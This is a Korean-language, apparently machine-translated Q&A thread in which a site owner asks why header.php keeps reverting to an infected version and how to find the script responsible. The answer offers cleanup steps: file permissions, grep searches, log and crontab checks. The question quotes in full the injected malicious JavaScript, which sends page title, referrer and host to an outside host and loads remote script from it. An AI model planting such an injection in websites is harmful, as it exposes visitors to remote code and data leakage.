파일을 이전 버전으로 복원

파일을 이전 버전으로 복원

내 사이트 중 하나가 악성 코드에 한 번 감염되었고 그 이후로 매일 header.php 파일이 이전 버전으로 되돌아가고(아마도 스크립트를 통해) 악성 스크립트가 파일 어딘가에 삽입되는 것을 보았습니다.

<script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "(>>>> KEEPS CHANGING >>>>>)http://www.theorchardnursinghome.co.uk/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}</script>

서버를 여러 번 청소했지만 여전히 심각하게 생각합니다.

최선의 선택은 사이트 전체를 다시 설치하는 것이라는 점을 잘 알고 있지만, 과거에는 너무 많은 사용자 정의 작업이 있었고 사이트를 다시 만드는 데 많은 노력이 필요하기 때문에 이렇게 하는 것은 위험한 일이라는 점이 걱정됩니다. 전체 설정.

이 문제는 어떻게 발생했습니까? 다른 bash 스크립트를 실행하여 담당 스크립트를 어떻게 식별할 수 있나요? inotifyHostgator에서 설치를 허용하지 않기 때문에 작동하지 않습니다.

답변1

먼저, 웹 서버가 실행 중인 uid로 .php 및 .html 파일을 쓸 수 없는지 확인하세요. 웹 서버에는 파일 및 디렉터리에 대한 읽기 및 실행 권한이 필요하지만(업로드 디렉터리와 같은 일부 예외를 제외하고) 제공할 데이터에 대한 쓰기 권한은 필요하지 않습니다.

그런 다음 grep모두grep -ir pattern /var/www/웹사이트 파일에 있는 악성 코드와 관련된 콘텐츠 (예 : ) URL을 다시 삽입하는 것이 좋습니다.grep -ir 'http://www.theorchardnursinghome.co.uk' /var/www/

불행하게도 대부분의 공격 페이로드는 base64 또는 이와 유사한 형식으로 인코딩되어 있으므로 grep은 아무 것도 찾지 못할 수 있습니다.

실패하면 수정 중인 파일에 대한 greping이 작동할 수 있습니다(예: grep for header.php). header.php를 작성하는 경우 파일 이름이 공격 스크립트 어딘가에 있을 가능성이 높습니다.

동일한 콘텐츠를 얻으려면 웹 로그 파일을 grep하세요.

공격자가 서버에 대한 루트 액세스 권한을 얻으면 자신이 하고 있는 일을 숨길 수 있는 무한한 가능성이 있습니다. 그러나 적어도 루트 crontab을 포함하여 시스템 crontab을 확인하십시오.

그건 그렇고, 이것은 다음 중 하나에 속할 수 있습니다서버 장애여기는 아닙니다. 아니면 어쩌면웹마스터

관련 정보